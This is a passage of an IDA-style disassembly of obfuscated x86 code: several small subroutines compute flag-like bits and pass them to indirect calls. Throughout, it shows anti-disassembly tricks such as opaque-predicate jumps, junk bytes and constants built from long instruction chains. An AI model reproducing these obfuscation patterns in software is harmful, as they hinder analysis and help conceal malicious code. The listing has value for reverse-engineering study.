[ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 410h pop ebx dec bh dec bh sub bh, 0FFh sub bh, 2 dec bh and ah, bh mov bl, 0Eh sub bl, 4 dec bl sub bl, 1 sub bl, 1 sub bl, 1 sub bl, 1 sub bl, 1 and al, bl pop ebx pop edx test eax, eax jz short loc_49BBDE not eax add eax, 1 stc jmp short loc_49BBE4 ; --------------------------------------------------------------------------- loc_49BBDE: ; CODE XREF: sub_49BB7F+55j not eax add eax, 1 clc loc_49BBE4: ; CODE XREF: sub_49BB7F+5Dj sbb eax, eax inc eax dec eax jo short loc_49BBF3 jl short loc_49BBF1 loc_49BBEC: ; CODE XREF: sub_49BB7F:loc_49BBF1j ; sub_49BB7F:loc_49BBF3j jmp short loc_49BBF5 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49BBF1: ; CODE XREF: sub_49BB7F+6Bj jz short loc_49BBEC loc_49BBF3: ; CODE XREF: sub_49BB7F+69j jmp short loc_49BBEC ; --------------------------------------------------------------------------- loc_49BBF5: ; CODE XREF: sub_49BB7F:loc_49BBECj inc eax dec eax jo short loc_49BC02 jl short loc_49BC00 loc_49BBFB: ; CODE XREF: sub_49BB7F:loc_49BC00j ; sub_49BB7F:loc_49BC02j jmp short loc_49BC04 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49BC00: ; CODE XREF: sub_49BB7F+7Aj jz short loc_49BBFB loc_49BC02: ; CODE XREF: sub_49BB7F+78j jmp short loc_49BBFB ; --------------------------------------------------------------------------- loc_49BC04: ; CODE XREF: sub_49BB7F:loc_49BBFBj inc eax dec eax inc eax dec eax jo short loc_49BC11 jl short loc_49BC0F loc_49BC0C: ; CODE XREF: sub_49BB7F:loc_49BC0Fj ; sub_49BB7F:loc_49BC11j jmp short loc_49BC13 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49BC0F: ; CODE XREF: sub_49BB7F+8Bj jz short loc_49BC0C loc_49BC11: ; CODE XREF: sub_49BB7F+89j jmp short loc_49BC0C ; --------------------------------------------------------------------------- loc_49BC13: ; CODE XREF: sub_49BB7F:loc_49BC0Cj inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3E8 xor ecx, dword_4ED3EC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49BC37 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49BC37: ; CODE XREF: sub_49BB7F+ADj mov eax, [ebp+var_8] push eax call off_4F1D40 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49BB7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49BC4B proc near ; DATA XREF: sub_4965D8+11B8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 0C0h sub cl, 9 dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl dec cl sub cl, 3 dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 80h sub cl, 1Fh dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax inc cl inc cl inc cl inc cl inc cl inc cl and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx push eax mov eax, [ebp+var_4] mov edx, 0C00h sub dh, 1 dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx setz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED404 xor ecx, dword_4ED408 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49BD42 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49BD42: ; CODE XREF: sub_49BC4B+ECj mov eax, [ebp+var_8] push eax call off_4F1D5C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49BC4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49BD56 proc near ; DATA XREF: sub_4965D8+D78o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DAC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_49BD7B jl short loc_49BD79 loc_49BD76: ; CODE XREF: sub_49BD56:loc_49BD79j ; sub_49BD56:loc_49BD7Bj jmp short loc_49BD7D ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49BD79: ; CODE XREF: sub_49BD56+1Ej jz short loc_49BD76 loc_49BD7B: ; CODE XREF: sub_49BD56+1Cj jmp short loc_49BD76 ; --------------------------------------------------------------------------- loc_49BD7D: ; CODE XREF: sub_49BD56:loc_49BD76j push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al and eax, 0 bswap ecx dec cl dec cl sub cl, 12h add cl, 0Bh dec cl dec cl jo short loc_49BDD1 jl short loc_49BDCF loc_49BDCC: ; CODE XREF: sub_49BD56:loc_49BDCFj ; sub_49BD56:loc_49BDD1j jmp short loc_49BDD3 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49BDCF: ; CODE XREF: sub_49BD56+74j jz short loc_49BDCC loc_49BDD1: ; CODE XREF: sub_49BD56+72j jmp short loc_49BDCC ; --------------------------------------------------------------------------- loc_49BDD3: ; CODE XREF: sub_49BD56:loc_49BDCCj dec cl dec cl dec cl dec cl sub cl, 40h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl inc eax dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 pop ecx pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3DC xor ecx, dword_4ED3E0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49BE24 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49BE24: ; CODE XREF: sub_49BD56+C3j mov eax, [ebp+var_8] push eax call off_4F1D34 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49BD56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49BE38 proc near ; DATA XREF: sub_4965D8+1020o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DBC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 2 pop ebx dec bl dec bl and al, bl mov dh, 0Eh and dl, 0 sub dh, 4 dec dh sub dh, 1 and ah, dh pop ebx pop edx test eax, eax jz short loc_49BE83 not eax add eax, 1 stc jmp short loc_49BE89 ; --------------------------------------------------------------------------- loc_49BE83: ; CODE XREF: sub_49BE38+41j not eax add eax, 1 clc loc_49BE89: ; CODE XREF: sub_49BE38+49j sbb eax, eax inc eax dec eax jo short loc_49BE98 jl short loc_49BE96 loc_49BE91: ; CODE XREF: sub_49BE38:loc_49BE96j ; sub_49BE38:loc_49BE98j jmp short loc_49BE9A ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49BE96: ; CODE XREF: sub_49BE38+57j jz short loc_49BE91 loc_49BE98: ; CODE XREF: sub_49BE38+55j jmp short loc_49BE91 ; --------------------------------------------------------------------------- loc_49BE9A: ; CODE XREF: sub_49BE38:loc_49BE91j inc eax dec eax jo short loc_49BEA7 jl short loc_49BEA5 loc_49BEA0: ; CODE XREF: sub_49BE38:loc_49BEA5j ; sub_49BE38:loc_49BEA7j jmp short loc_49BEA9 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49BEA5: ; CODE XREF: sub_49BE38+66j jz short loc_49BEA0 loc_49BEA7: ; CODE XREF: sub_49BE38+64j jmp short loc_49BEA0 ; --------------------------------------------------------------------------- loc_49BEA9: ; CODE XREF: sub_49BE38:loc_49BEA0j inc eax dec eax inc eax dec eax jo short loc_49BEB8 jl short loc_49BEB6 loc_49BEB1: ; CODE XREF: sub_49BE38:loc_49BEB6j ; sub_49BE38:loc_49BEB8j jmp short loc_49BEBA ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49BEB6: ; CODE XREF: sub_49BE38+77j jz short loc_49BEB1 loc_49BEB8: ; CODE XREF: sub_49BE38+75j jmp short loc_49BEB1 ; --------------------------------------------------------------------------- loc_49BEBA: ; CODE XREF: sub_49BE38:loc_49BEB1j inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3EC xor ecx, dword_4ED3F0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49BEDE mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49BEDE: ; CODE XREF: sub_49BE38+9Bj mov eax, [ebp+var_8] push eax call off_4F1D44 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49BE38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49BEF2 proc near ; DATA XREF: sub_4965D8+938o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_49BF17 jl short loc_49BF15 loc_49BF12: ; CODE XREF: sub_49BEF2:loc_49BF15j ; sub_49BEF2:loc_49BF17j jmp short loc_49BF19 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49BF15: ; CODE XREF: sub_49BEF2+1Ej jz short loc_49BF12 loc_49BF17: ; CODE XREF: sub_49BEF2+1Cj jmp short loc_49BF12 ; --------------------------------------------------------------------------- loc_49BF19: ; CODE XREF: sub_49BEF2:loc_49BF12j push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl jo short loc_49BF70 jl short loc_49BF6E loc_49BF6B: ; CODE XREF: sub_49BEF2:loc_49BF6Ej ; sub_49BEF2:loc_49BF70j jmp short loc_49BF72 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49BF6E: ; CODE XREF: sub_49BEF2+77j jz short loc_49BF6B loc_49BF70: ; CODE XREF: sub_49BEF2+75j jmp short loc_49BF6B ; --------------------------------------------------------------------------- loc_49BF72: ; CODE XREF: sub_49BEF2:loc_49BF6Bj dec cl dec cl dec cl dec cl sub cl, 13h dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx pop ebx test eax, eax jnz loc_49C09B mov eax, [ebp+var_4] jo short loc_49BFB0 jl short loc_49BFAE loc_49BFAB: ; CODE XREF: sub_49BEF2:loc_49BFAEj ; sub_49BEF2:loc_49BFB0j jmp short loc_49BFB2 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_49BFAE: ; CODE XREF: sub_49BEF2+B7j jz short loc_49BFAB loc_49BFB0: ; CODE XREF: sub_49BEF2+B5j jmp short loc_49BFAB ; --------------------------------------------------------------------------- loc_49BFB2: ; CODE XREF: sub_49BEF2:loc_49BFABj push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 and bh, 0 and eax, 800h bswap ecx pop eax bswap ecx and ah, bh jo short loc_49BFD6 jl short loc_49BFD4 loc_49BFD1: ; CODE XREF: sub_49BEF2:loc_49BFD4j ; sub_49BEF2:loc_49BFD6j jmp short loc_49BFD8 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49BFD4: ; CODE XREF: sub_49BEF2+DDj jz short loc_49BFD1 loc_49BFD6: ; CODE XREF: sub_49BEF2+DBj jmp short loc_49BFD1 ; --------------------------------------------------------------------------- loc_49BFD8: ; CODE XREF: sub_49BEF2:loc_49BFD1j mov bl, 0C6h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_49C025 jl short loc_49C023 loc_49C01E: ; CODE XREF: sub_49BEF2:loc_49C023j ; sub_49BEF2:loc_49C025j jmp short loc_49C027 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49C023: ; CODE XREF: sub_49BEF2+12Aj jz short loc_49C01E loc_49C025: ; CODE XREF: sub_49BEF2+128j jmp short loc_49C01E ; --------------------------------------------------------------------------- loc_49C027: ; CODE XREF: sub_49BEF2:loc_49C01Ej sub bl, 6 push eax dec bl dec bl jo short loc_49C038 jl short loc_49C036 loc_49C033: ; CODE XREF: sub_49BEF2:loc_49C036j ; sub_49BEF2:loc_49C038j jmp short loc_49C03A ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49C036: ; CODE XREF: sub_49BEF2+13Fj jz short loc_49C033 loc_49C038: ; CODE XREF: sub_49BEF2+13Dj jmp short loc_49C033 ; --------------------------------------------------------------------------- loc_49C03A: ; CODE XREF: sub_49BEF2:loc_49C033j and eax, 40h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_49C06E jl short loc_49C06C loc_49C067: ; CODE XREF: sub_49BEF2:loc_49C06Cj ; sub_49BEF2:loc_49C06Ej jmp short loc_49C070 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49C06C: ; CODE XREF: sub_49BEF2+173j jz short loc_49C067 loc_49C06E: ; CODE XREF: sub_49BEF2+171j jmp short loc_49C067 ; --------------------------------------------------------------------------- loc_49C070: ; CODE XREF: sub_49BEF2:loc_49C067j inc eax dec eax jo short loc_49C07D jl short loc_49C07B loc_49C076: ; CODE XREF: sub_49BEF2:loc_49C07Bj ; sub_49BEF2:loc_49C07Dj jmp short loc_49C07F ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49C07B: ; CODE XREF: sub_49BEF2+182j jz short loc_49C076 loc_49C07D: ; CODE XREF: sub_49BEF2+180j jmp short loc_49C076 ; --------------------------------------------------------------------------- loc_49C07F: ; CODE XREF: sub_49BEF2:loc_49C076j inc eax dec eax inc eax dec eax jo short loc_49C08E jl short loc_49C08C loc_49C087: ; CODE XREF: sub_49BEF2:loc_49C08Cj ; sub_49BEF2:loc_49C08Ej jmp short loc_49C090 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49C08C: ; CODE XREF: sub_49BEF2+193j jz short loc_49C087 loc_49C08E: ; CODE XREF: sub_49BEF2+191j jmp short loc_49C087 ; --------------------------------------------------------------------------- loc_49C090: ; CODE XREF: sub_49BEF2:loc_49C087j inc eax pop ecx cmp ecx, eax jnz short loc_49C09B and eax, 0 jmp short loc_49C09F ; --------------------------------------------------------------------------- loc_49C09B: ; CODE XREF: sub_49BEF2+ACj ; sub_49BEF2+1A2j and eax, 0 inc eax loc_49C09F: ; CODE XREF: sub_49BEF2+1A7j mov [ebp+var_C], eax mov ecx, dword_4ED3F8 xor ecx, dword_4ED3FC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49C0C2 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49C0C2: ; CODE XREF: sub_49BEF2+1C5j mov eax, [ebp+var_8] push eax call off_4F1D50 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49BEF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49C0D6 proc near ; DATA XREF: sub_4965D8+690o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, [ebp+arg_4] mov edx, 0FFFFh and eax, edx push ebx push 410h pop ebx dec bh dec bh sub bh, 0FFh sub bh, 2 dec bh and ah, bh mov bl, 0Dh sub bl, 4 sub bl, 1 sub bl, 1 sub bl, 1 sub bl, 1 sub bl, 1 and al, bl pop ebx pop edx test eax, eax jz short loc_49C136 not eax add eax, 1 stc jmp short loc_49C13C ; --------------------------------------------------------------------------- loc_49C136: ; CODE XREF: sub_49C0D6+56j not eax add eax, 1 clc loc_49C13C: ; CODE XREF: sub_49C0D6+5Ej sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3E0 xor ecx, dword_4ED3E4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49C163 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49C163: ; CODE XREF: sub_49C0D6+82j mov eax, [ebp+var_8] push eax call off_4F1D38 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49C0D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49C177 proc near ; DATA XREF: sub_4965D8+BF7o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D8C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 72h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax neg eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3BC xor ecx, dword_4ED3C0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49C23A mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49C23A: ; CODE XREF: sub_49C177+B8j mov eax, [ebp+var_8] push eax call off_4F1D14 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49C177 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49C24E proc near ; DATA XREF: sub_4965D8+1119o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 0Dh not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax and eax, ecx pop ecx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED400 xor ecx, dword_4ED404 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49C2DD mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49C2DD: ; CODE XREF: sub_49C24E+84j mov eax, [ebp+var_8] push eax call off_4F1D58 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49C24E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49C2F1 proc near ; DATA XREF: sub_4965D8+1543o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DBC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0Ch pop ebx dec bl dec bl dec bl dec bl dec bl add bl, 0FFh add bl, 0FFh dec bl jo short loc_49C336 jl short loc_49C334 loc_49C32F: ; CODE XREF: sub_49C2F1:loc_49C334j ; sub_49C2F1:loc_49C336j jmp short loc_49C338 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49C334: ; CODE XREF: sub_49C2F1+3Cj jz short loc_49C32F loc_49C336: ; CODE XREF: sub_49C2F1+3Aj jmp short loc_49C32F ; --------------------------------------------------------------------------- loc_49C338: ; CODE XREF: sub_49C2F1:loc_49C32Fj add bl, 0FFh add bl, 0FFh add bl, 0FFh add bl, 0FFh and al, bl jo short loc_49C34F jl short loc_49C34D loc_49C34A: ; CODE XREF: sub_49C2F1:loc_49C34Dj ; sub_49C2F1:loc_49C34Fj jmp short loc_49C351 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49C34D: ; CODE XREF: sub_49C2F1+57j jz short loc_49C34A loc_49C34F: ; CODE XREF: sub_49C2F1+55j jmp short loc_49C34A ; --------------------------------------------------------------------------- loc_49C351: ; CODE XREF: sub_49C2F1:loc_49C34Aj mov dh, 15h and dl, 0 dec dh sub dh, 9 sub dh, 1 dec dh dec dh and ah, dh pop ebx pop edx test eax, eax jz short loc_49C372 not eax add eax, 1 stc jmp short loc_49C378 ; --------------------------------------------------------------------------- loc_49C372: ; CODE XREF: sub_49C2F1+77j not eax add eax, 1 clc loc_49C378: ; CODE XREF: sub_49C2F1+7Fj sbb eax, eax inc eax dec eax jo short loc_49C387 jl short loc_49C385 loc_49C380: ; CODE XREF: sub_49C2F1:loc_49C385j ; sub_49C2F1:loc_49C387j jmp short loc_49C389 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49C385: ; CODE XREF: sub_49C2F1+8Dj jz short loc_49C380 loc_49C387: ; CODE XREF: sub_49C2F1+8Bj jmp short loc_49C380 ; --------------------------------------------------------------------------- loc_49C389: ; CODE XREF: sub_49C2F1:loc_49C380j inc eax dec eax jo short loc_49C396 jl short loc_49C394 loc_49C38F: ; CODE XREF: sub_49C2F1:loc_49C394j ; sub_49C2F1:loc_49C396j jmp short loc_49C398 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49C394: ; CODE XREF: sub_49C2F1+9Cj jz short loc_49C38F loc_49C396: ; CODE XREF: sub_49C2F1+9Aj jmp short loc_49C38F ; --------------------------------------------------------------------------- loc_49C398: ; CODE XREF: sub_49C2F1:loc_49C38Fj inc eax dec eax inc eax dec eax jo short loc_49C3A7 jl short loc_49C3A5 loc_49C3A0: ; CODE XREF: sub_49C2F1:loc_49C3A5j ; sub_49C2F1:loc_49C3A7j jmp short loc_49C3A9 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49C3A5: ; CODE XREF: sub_49C2F1+ADj jz short loc_49C3A0 loc_49C3A7: ; CODE XREF: sub_49C2F1+ABj jmp short loc_49C3A0 ; --------------------------------------------------------------------------- loc_49C3A9: ; CODE XREF: sub_49C2F1:loc_49C3A0j inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3EC xor ecx, dword_4ED3F0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49C3CD mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49C3CD: ; CODE XREF: sub_49C2F1+D1j mov eax, [ebp+var_8] push eax call off_4F1D44 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49C2F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49C3E1 proc near ; DATA XREF: sub_4965D8+1064o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_49C406 jl short loc_49C404 loc_49C401: ; CODE XREF: sub_49C3E1:loc_49C404j ; sub_49C3E1:loc_49C406j jmp short loc_49C408 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49C404: ; CODE XREF: sub_49C3E1+1Ej jz short loc_49C401 loc_49C406: ; CODE XREF: sub_49C3E1+1Cj jmp short loc_49C401 ; --------------------------------------------------------------------------- loc_49C408: ; CODE XREF: sub_49C3E1:loc_49C401j push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl jo short loc_49C45C jl short loc_49C45A loc_49C457: ; CODE XREF: sub_49C3E1:loc_49C45Aj ; sub_49C3E1:loc_49C45Cj jmp short loc_49C45E ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49C45A: ; CODE XREF: sub_49C3E1+74j jz short loc_49C457 loc_49C45C: ; CODE XREF: sub_49C3E1+72j jmp short loc_49C457 ; --------------------------------------------------------------------------- loc_49C45E: ; CODE XREF: sub_49C3E1:loc_49C457j dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx pop ebx test eax, eax jnz loc_49C59A mov eax, [ebp+var_4] jo short loc_49C4A3 jl short loc_49C4A1 loc_49C49E: ; CODE XREF: sub_49C3E1:loc_49C4A1j ; sub_49C3E1:loc_49C4A3j jmp short loc_49C4A5 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_49C4A1: ; CODE XREF: sub_49C3E1+BBj jz short loc_49C49E loc_49C4A3: ; CODE XREF: sub_49C3E1+B9j jmp short loc_49C49E ; --------------------------------------------------------------------------- loc_49C4A5: ; CODE XREF: sub_49C3E1:loc_49C49Ej push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh jo short loc_49C4D4 jl short loc_49C4D2 loc_49C4CF: ; CODE XREF: sub_49C3E1:loc_49C4D2j ; sub_49C3E1:loc_49C4D4j jmp short loc_49C4D6 ; --------------------------------------------------------------------------- db 0D5h ; --------------------------------------------------------------------------- loc_49C4D2: ; CODE XREF: sub_49C3E1+ECj jz short loc_49C4CF loc_49C4D4: ; CODE XREF: sub_49C3E1+EAj jmp short loc_49C4CF ; --------------------------------------------------------------------------- loc_49C4D6: ; CODE XREF: sub_49C3E1:loc_49C4CFj mov bl, 0C0h dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_49C51E jl short loc_49C51C loc_49C517: ; CODE XREF: sub_49C3E1:loc_49C51Cj ; sub_49C3E1:loc_49C51Ej jmp short loc_49C520 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49C51C: ; CODE XREF: sub_49C3E1+134j jz short loc_49C517 loc_49C51E: ; CODE XREF: sub_49C3E1+132j jmp short loc_49C517 ; --------------------------------------------------------------------------- loc_49C520: ; CODE XREF: sub_49C3E1:loc_49C517j sub bl, 5 dec bl push eax dec bl dec bl jo short loc_49C533 jl short loc_49C531 loc_49C52E: ; CODE XREF: sub_49C3E1:loc_49C531j ; 